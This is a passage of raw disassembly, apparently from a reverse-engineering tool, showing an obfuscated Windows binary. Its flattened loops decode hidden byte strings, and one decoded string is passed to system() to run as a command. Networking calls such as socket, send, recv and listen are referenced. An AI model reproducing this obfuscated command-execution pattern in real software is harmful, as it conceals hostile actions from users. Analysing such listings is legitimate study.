je 0x1400945a1
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140094546
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140094524
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400944dc
movzx r9d, r11b
cmp r8, r11
ja 0x140094680
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140093d1a
lea ecx, [r9 + 9]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3f
jmp 0x140093d50
je 0x1400944c3
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400944a0
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140094483
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140094463
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x140094175
nop dword [rax]
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x140094159
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x140094133
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x140094110
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400940f4
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x1400940d7
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x1400940b7
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x14009408b
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140093d60
lea rbx, [r8 + 6]
lea r8, [rbx + 0x3e8]
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x140094663
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x140094646
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x140093ed5
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x140093eba
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x140093e9f
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x140094035
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x140093fbf
lea rbx, [r8 + 2]
lea r8, [rbx + 5]
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x140093f90
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x140093f70
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x140093f51
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x140093f31
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x140093f11
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x140093ef2
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x140093d60
lea rbx, [r8 + 0x42]
lea r8, [rbx + 1]
jmp 0x140093d60
lea ecx, [r9 + 0x17]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x5f
jmp 0x140093d50
lea ecx, [r9 - 0x33]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x65
jmp 0x140093cf0
sub r9b, 0x7d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x6b
jmp 0x140093c86
lea edx, [r9 + 0x48]
movzx eax, dl
and al, r10b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400944fa
add r9b, 0x20
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140094585
sub r9b, 0x2a
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140094588
lea edx, [r9 - 0x74]
movzx eax, dl
and al, r10b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400945b7
add r9b, 0x42
movzx eax, r9b
and al, r10b
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400945e1
sub r9b, 8
movzx eax, r10b
and al, r9b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
movzx eax, byte [rbp + r11 - 0x70]
add rax, r8
add r11, rax
inc r11
jmp 0x140093c73
lea edx, [r9 - 0x55]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x53
add dil, dl
cmp rbx, 3
jae 0x14009441f
lea rax, [r8 + 0x64]
cmp rbx, rax
jbe 0x14009433e
lea edx, [r9 - 0x26]
movzx eax, r10b
and al, dl
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
cmp r8, 0x5a
jb 0x140094412
lea edx, [r9 - 0x42]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x64]
jmp 0x1400944fa
lea edx, [r9 + 0x61]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x59
add dil, dl
lea rax, [r8 + rbx]
cmp rax, 0x80
je 0x140094441
lea rax, [r8 + 0x400]
cmp rbx, rax
jbe 0x140094278
lea edx, [r9 - 0x2f]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x49
jmp 0x140093fd6
add r9b, 0x36
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x7a
movzx eax, byte [rbp + r11 - 0x70]
add rax, r8
add r11, rax
inc r11
jmp 0x140093c73
sub r9b, 0x14
movzx eax, r10b
and al, r9b
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x74
add dil, r9b
jmp 0x1400945e1
add r9b, 0xe
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x62
jmp 0x140094585
lea edx, [r9 - 0x3c]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x5c
jmp 0x140094561
add r9b, 0x7a
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x56
dec r11
inc r11
jmp 0x140093c73
add r9b, 0x30
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x50
inc r8
dec r11
inc r11
jmp 0x140093c73
lea edx, [r9 - 0x1a]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x4a
jmp 0x1400944f7
lea rax, [r8 + 0x10]
cmp rbx, rax
jae 0x14009419a
lea edx, [r9 + 0x25]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 3
jmp 0x14009404c
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400941cf
add r9b, 0x12
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x7e
movzx eax, byte [rbp + r11 - 0x70]
add rax, r8
add r11, rax
inc r11
jmp 0x140093c73
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400941f7
lea edx, [r9 - 0x5a]
movzx eax, r10b
and al, dl
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x1400945b7
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140094220
add r9b, 0x3a
movzx eax, r10b
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x140094585
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14009424f
sub r9b, 0x32
movzx eax, r10b
and al, r9b
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
dec r11
inc r11
jmp 0x140093c73
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14009404f
lea edx, [r9 + 0x62]
movzx eax, r10b
and al, dl
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x1400944f7
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14009429d
lea edx, [r9 + 0x1b]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x43
jmp 0x1400944f7
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400942c3
add r9b, 0x43
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x2b
jmp 0x140094585
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400942e9
sub r9b, 0x73
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x25
jmp 0x140094588
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140094311
lea edx, [r9 - 0x29]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x1f
add dil, dl
jmp 0x1400945b7
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140093fd9
add r9b, 0x21
movzx eax, r10b
and al, r9b
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x19
add dil, r9b
jmp 0x1400945e1
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140094376
add r9b, 0x24
movzx eax, r10b
and al, r9b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
movzx eax, byte [rbp + r11 - 0x70]
add rax, r8
add r11, rax
inc r11
jmp 0x140093c73
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14009439e
lea edx, [r9 - 0x48]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 8
add dil, dl
jmp 0x1400945b7
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400943c4
add r9b, 2
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0xe
jmp 0x140094588
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400943e9
lea edx, [r9 - 0x6a]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x1a
jmp 0x140094561
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14009400a
lea edx, [r9 + 0x74]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x2c
jmp 0x1400944f7
mov byte [rbp + r11 - 0x70], dil
inc r11
jmp 0x140093c73
lea edx, [r9 + 8]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x38
add dil, dl
add dil, r10b
jmp 0x140094564
lea edx, [r9 + 0x52]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, r10b
sub dil, 0x3e
add dil, dl
jmp 0x1400945b7
add r9b, 0x59
movzx eax, r10b
and al, r9b
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x6f
add dil, r9b
jmp 0x1400945e1
add r9b, 0x7b
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x5d
jmp 0x140094585
sub r9b, 0x19
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x51
dec r11
inc r11
jmp 0x140093c73
lea edx, [r9 + 0x53]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x45
jmp 0x1400944f7
movzx r9d, r11b
lea edx, [r9 - 0x41]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x39
add dil, dl
sub r9b, 0x1d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x35
add r9b, r10b
mov byte [rbp + r11 - 0x70], r9b
inc r8
dec r11
inc r11
jmp 0x140093c73
lea ecx, [r11 + 0x2b]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x2d
dec r11
inc r11
jmp 0x140093c73
movzx r9d, r11b
lea edx, [r9 - 0x1f]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x27
add dil, dl
add r9b, 0x2d
movzx eax, r9b
and al, r10b
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0x3b
add cl, r9b
add cl, r10b
mov byte [rbp + r11 - 0x70], cl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140093c73
lea rax, [r11 + r12]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
sub dil, 0x15
movzx r9d, r11b
add r9b, 0x77
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x41
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 - 0x70], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 - 0x64]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x44
add r10b, cl
mov byte [rbp + r11 - 0x70], r10b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 - 0x70]
add rax, r8
add r11, rax
inc r11
jmp 0x140093c73
lea rax, [r11 + r15]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
sub dil, 9
movzx eax, byte [rbp + r11 - 0x70]
add rax, r8
add r11, rax
inc r11
jmp 0x140093c73
add r9b, 0x39
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x71
jmp 0x140093c70
sub r9b, 0x11
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x77
jmp 0x140093c60
lea rdx, [rbp + 0x163ec6c]
jmp 0x140094696
lea rdx, [rbp + 0x16f4b91]
jmp 0x140094696
lea rdx, [rbp - 0x70]
mov rcx, rsi
call fcn.140040e10
mov rcx, rax
lea rdx, [0x140148754]
call fcn.140040e10
mov dword [rbp + 0x1f0], 0x7e7f6a76
mov word [rbp + 0x1f4], 0x169
xor eax, eax
mov qword [rbp + 0x1f6], rax
mov dword [rbp + 0x1fe], eax
movzx edi, byte [rsp + 0x40]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
nop dword [rax]
nop dword [rax + rax]
mov r14, r13
cmp r14, 0x12
jae 0x140094fdd
movzx esi, byte [rbp + r14 + 0x1f0]
mov r10d, esi
nop dword [rax]
cmp rbx, r14
ja 0x140094fd4
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14009473f
lea rcx, [r14 + 0x13281]
mov rax, r10
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r10
add rdi, rcx
add dil, 0x79
jmp 0x140094779
je 0x140094f63
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140094ed1
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140094ea1
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140094e81
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140094e3b
movzx r9d, r14b
nop dword [rax]
cmp r8, r14
ja 0x140094fcb
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400947a9
lea ecx, [r9 - 0x6b]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea edi, [rsi + rcx]
sub dil, 0x13
jmp 0x1400947e3
je 0x140094e24
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140094e01
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140094dc2
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140094da8
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140094d79
lea rdx, [r8 + rbx]
cmp rdx, r14
jbe 0x140094a5e
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x140094a44
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x140094a1e
lea rcx, [r8 + 0x61]
cmp rbx, rcx
je 0x1400949fb
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400949e1
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400949c1
mov rbx, rcx
lea r8, [rcx + 0x20]
lea rax, [r8 + 1]
cmp rcx, rax
jb 0x140094fae
lea rax, [r8 + 6]
cmp rcx, rax
jb 0x140094f91
lea rcx, [r8 + 0x20]
cmp rbx, rcx
jb 0x140094901
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x1400948e7
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x1400948cd
mov rbx, rcx
lea r8, [rcx + 1]
lea rax, [r8 + 0x80]
cmp rcx, rax
ja 0x140094992
lea rax, [r8 + 0x61]
cmp rcx, rax
ja 0x140094975
lea rcx, [r8 + 1]
cmp rbx, rcx
ja 0x14009495b
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x14009493e
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x14009491e
mov rbx, rcx
lea r8, [rcx + 0x80]
jmp 0x1400947f0
lea ecx, [r9 + 0xb]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea edi, [rsi + rcx]
sub dil, 0x4d
jmp 0x1400947e3
lea ecx, [r9 + 9]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea edi, [rsi + rcx]
sub dil, 0x3f
jmp 0x140094780
add r9b, 7
movzx eax, r9b
and al, sil
add al, al
sub r9b, al
lea edi, [rsi + r9]
sub dil, 0x31
jmp 0x140094710
sub r9b, 0x60
movzx eax, r9b
and al, sil
add al, al
sub r9b, al
lea edi, [rsi + r9]
sub dil, 0x60
add rbx, r8
jmp 0x140094eb8
sub r9b, 0x62
movzx eax, r9b
and al, sil
add al, al
sub r9b, al
lea edi, [rsi + r9]
sub dil, 0x52
jmp 0x140094eb8
lea ecx, [r9 - 0x64]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea edi, [rsi + rcx]
sub dil, 0x44
jmp 0x140094ef0
sub r9b, 0x66
movzx eax, r9b
and al, sil
add al, al
sub r9b, al
lea edi, [rsi + r9]
sub dil, 0x36
jmp 0x140094f1c
sub r9b, 0x68
movzx eax, r9b
and al, sil
add al, al
sub r9b, al
lea edi, [rsi + r9]
sub dil, 0x28
movzx eax, byte [rbp + r14 + 0x1f0]
add rax, r8
add r14, rax
inc r14
jmp 0x1400946f3
add r9b, 0x76
movzx eax, r9b
and al, sil
add al, al
sub r9b, al
lea edi, [rsi + r9]
sub dil, 0x3a
add rbx, r8
jmp 0x140094eb8
lea ecx, [r9 + 0x74]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea edi, [rsi + rcx]
sub dil, 0x2c
jmp 0x140094dd7
add r9b, 0x72
movzx eax, r9b
and al, sil
add al, al
sub r9b, al
lea edi, [rsi + r9]
sub dil, 0x1e
dec r14
inc r14
jmp 0x1400946f3
add r9b, 0x70
movzx eax, r9b
and al, sil
add al, al
sub r9b, al
lea edi, [rsi + r9]
sub dil, 0x10
inc r8
dec r14
inc r14
jmp 0x1400946f3
lea ecx, [r9 + 0x6e]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea edi, [rsi + rcx]
sub dil, 2
jmp 0x140094e54
lea r10, [r8 + 1]
cmp rbx, r10
jae 0x140094af2
lea ecx, [r9 - 0x7f]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea edi, [rsi + rcx]
add dil, 0x79
lea rcx, [r8 + 3]
lea r11, [r8 + 2]
cmp rdx, 0x20
je 0x140094d5d
cmp rbx, r10
jbe 0x140094b9f
lea ecx, [r9 - 0x43]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea edi, [rsi + rcx]
sub dil, 0x2b
cmp rbx, 1
jae 0x140094d42
cmp rbx, r10
jne 0x140094c61
add r9b, 0x54
movzx eax, r9b
and al, sil
add al, al
sub r9b, al
lea edi, [rsi + r9]
sub dil, 0x4c
movzx eax, byte [rbp + r14 + 0x1f0]
add rax, r8
add r14, rax
inc r14
jmp 0x1400946f3
jne 0x140094b23
add r9b, 0x2a
movzx eax, r9b
and al, sil
add al, al
sub r9b, al
lea edi, [rsi + r9]
sub dil, 0x26
movzx eax, byte [rbp + r14 + 0x1f0]
add rax, r8
add r14, rax
inc r14
jmp 0x1400946f3
lea r11, [r8 + 2]
cmp rbx, r11
jne 0x140094b49
add r9b, 0x2c
movzx eax, r9b
and al, sil
add al, al
sub r9b, al
lea edi, [rsi + r9]
sub dil, 0x34
jmp 0x140094f1c
lea rcx, [r8 + 3]
cmp rbx, rcx
jne 0x140094b6f
add r9b, 0x30
movzx eax, r9b
and al, sil
add al, al
sub r9b, al
lea edi, [rsi + r9]
sub dil, 0x50
jmp 0x140094eb8
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140094a88
add r9b, 0x36
movzx eax, r9b
and al, sil
add al, al
sub r9b, al
lea edi, [rsi + r9]
sub dil, 0x7a
dec r14
inc r14
jmp 0x1400946f3
jne 0x140094bbb
lea ecx, [r9 - 0x41]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea edi, [rsi + rcx]
sub dil, 0x39
jmp 0x140094e54
cmp rbx, rcx
jne 0x140094be3
sub r9b, 0x3d
movzx eax, r9b
and al, sil
add al, al
sub r9b, al
lea edi, [rsi + r9]
sub dil, 0x55
dec r14
inc r14
jmp 0x1400946f3
cmp rbx, r11
jne 0x140094c02
lea ecx, [r9 - 0x3b]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea edi, [rsi + rcx]
sub dil, 0x63
jmp 0x140094dd7
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140094c25
lea ecx, [r9 - 0x35]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea edi, [rsi + rcx]
add dil, 0x73
jmp 0x140094ef0
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x140094ab0
sub r9b, 0x31
movzx eax, r9b
and al, sil
add al, al
sub r9b, al
lea edi, [rsi + r9]
add dil, 0x57
movzx eax, byte [rbp + r14 + 0x1f0]
add rax, r8
add r14, rax
inc r14
jmp 0x1400946f3
cmp rbx, r11
jne 0x140094c83
add r9b, 0x56
movzx eax, r9b
and al, sil
add al, al
sub r9b, al
lea edi, [rsi + r9]
sub dil, 0x5a
jmp 0x140094f1c
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140094caf
add r9b, 0x5c
movzx eax, r9b
and al, sil
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, sil
add rbx, r8
jmp 0x140094eb8
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140094ce1
add r9b, 0x62
movzx eax, r9b
and al, sil
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, sil
inc r8
dec r14
inc r14
jmp 0x1400946f3
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140094d09
lea edx, [r9 + 0x64]
movzx eax, dl
and al, sil
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, sil
jmp 0x140094e54
cmp r8, 0x80
jb 0x140094d32
lea ecx, [r9 + 0x66]
movzx eax, cl
and al, sil
mov edx, 0x1b
sub dl, al
add dl, dl
add dl, cl
add dl, sil
lea edi, [rdx + rdx]
jmp 0x140094e54
mov byte [rbp + r14 + 0x1f0], dil
inc r14
jmp 0x1400946f3
lea edx, [r9 + 0x68]
movzx eax, dl
and al, sil
movzx ecx, sil
sub cl, al
add cl, 0x14
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140094dd7
lea edx, [r9 + 0x6a]
movzx eax, dl
and al, sil
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140094ef0
sub r9b, 0x59
movzx eax, r9b
and al, sil
add al, al
sub r9b, al
lea edi, [rsi + r9]
add dil, 0x6f
movzx eax, byte [rbp + r14 + 0x1f0]
add rax, r8
add r14, rax
inc r14
jmp 0x1400946f3
lea ecx, [r9 - 0x5d]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea edi, [rsi + rcx]
sub dil, 0x75
jmp 0x140094ef0
lea ecx, [r9 - 0x63]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea edi, [rsi + rcx]
sub dil, 0x4b
sub r9b, 0x17
movzx eax, r9b
and al, sil
add al, al
sub r9b, al
sub r9b, 0x5f
add r9b, dil
add r9b, sil
mov byte [rbp + r14 + 0x1f0], r9b
add rbx, r8
jmp 0x140094eb8
sub r9b, 0x65
movzx eax, r9b
and al, sil
add al, al
sub r9b, al
lea edi, [rsi + r9]
sub dil, 0x3d
dec r14
inc r14
jmp 0x1400946f3
lea ecx, [r9 - 0x69]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea edi, [rsi + rcx]
sub dil, 0x21
jmp 0x140094e54
movzx r9d, r14b
lea ecx, [r9 - 0x6d]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea edi, [rsi + rcx]
sub dil, 5
sub r9b, 0x19
movzx eax, r9b
and al, sil
add al, al
sub r9b, al
sub r9b, 0x51
add r9b, sil
mov byte [rbp + r14 + 0x1f0], r9b
inc r8
dec r14
inc r14
jmp 0x1400946f3
lea ecx, [r14 - 0x71]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea edi, [rsi + rcx]
add dil, 0x17
dec r14
inc r14
jmp 0x1400946f3
lea rax, [r14 + 0xac689]
and r10b, al
add r10b, r10b
sub sil, r10b
lea edi, [rax + rsi]
add dil, 0x41
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r14, rcx
inc r14
jmp 0x1400946f3
lea rcx, [r14 + 0x86187]
and r10b, cl
add r10b, r10b
movzx edi, sil
sub dil, r10b
add dil, 0x4f
add dil, cl
movzx r9d, r14b
sub r9b, 0x15
movzx eax, r9b
and al, sil
add al, al
sub r9b, al
sub r9b, 0x6d
add r9b, sil
movzx eax, r9b
mov byte [rbp + r14 + 0x1f0], al
inc r8
add rax, r8
sub r14, rax
lea edx, [r14 + 0x6c]
movzx eax, sil
and al, dl
mov ecx, 6
sub cl, al
add cl, cl
add cl, sil
add cl, dl
mov byte [rbp + r14 + 0x1f0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r14, rax
movzx eax, byte [rbp + r14 + 0x1f0]
add rax, r8
add r14, rax
inc r14
jmp 0x1400946f3
lea rax, [r14 + 0x39783]
and r10b, al
add r10b, r10b
sub sil, r10b
lea edi, [rax + rsi]
add dil, 0x6b
movzx eax, byte [rbp + r14 + 0x1f0]
add rax, r8
add r14, rax
inc r14
jmp 0x1400946f3
add r9b, 5
movzx eax, sil
and al, r9b
add al, al
sub sil, al
lea edi, [r9 + rsi]
sub dil, 0x23
jmp 0x1400946f0
add r9b, 3
movzx eax, sil
and al, r9b
add al, al
sub sil, al
lea edi, [r9 + rsi]
sub dil, 0x15
jmp 0x1400946d4
lea rcx, [rbp + 0x14df09c]
jmp 0x140094fe4
lea rcx, [rbp + 0x10f231d]
jmp 0x140094fe4
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x26c
mov ecx, 0x140
call qword [sym.imp.KERNEL32.dll_Beep]
call fcn.14005f730
call fcn.14005d7c0
mov dword [rbp + 0xd0], 0x43d14df6
mov dword [rbp + 0xd4], 0x47d241d6
mov dword [rbp + 0xd8], 0xbb2345d6
mov dword [rbp + 0xdc], 0xbf1bb92c
mov dword [rbp + 0xe0], 0xb32ebdfb
mov dword [rbp + 0xe4], 0xb713b129
mov dword [rbp + 0xe8], 0xab3eb526
mov dword [rbp + 0xec], 0xaf05a9f5
mov dword [rbp + 0xf0], 0xa330ad35
mov dword [rbp + 0xf4], 0xa7f2a1ea
mov dword [rbp + 0xf8], 0x9b2da5f9
mov dword [rbp + 0xfc], 0x9f079900
mov dword [rbp + 0x100], 0x93029d0c
mov dword [rbp + 0x104], 0x97049109
mov dword [rbp + 0x108], 0x8bd8950f
mov dword [rbp + 0x10c], 0x8f06892d
mov dword [rbp + 0x110], 0x83828d29
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x114], xmm0
mov dword [rbp + 0x124], eax
movabs r14, 0xe95f8234b66b7376
movabs r15, 0x345b93da69c70f26
movabs r12, 0xbc1e869e23425a62
movzx edi, byte [rsp + 0x40]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
mov r11, r13
cmp r11, 0x58
jae 0x140095c00
movzx r10d, byte [rbp + r11 + 0xd0]
mov esi, r10d
nop dword [rax]
cmp rbx, r11
ja 0x140095bf7
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14009513c
lea rcx, [r11 + r14]
mov rax, rcx
and rax, rsi
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rsi
sub dil, 0x3a
jmp 0x140095183
je 0x140095b82
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140095b54
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140095b39
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140095af1
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140095ad0
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140095a89
movzx r9d, r11b
cmp r8, r11
ja 0x140095bee
lea rax, [r8 + 3]
cmp rbx, rax
jae 0x1400951b5
lea edx, [r9 - 0x52]
movzx eax, dl
and al, r10b
mov ecx, 0x1f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400951f0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140095a71
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140095a4e
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140095a2e
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400959a5
nop dword [rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x140095728
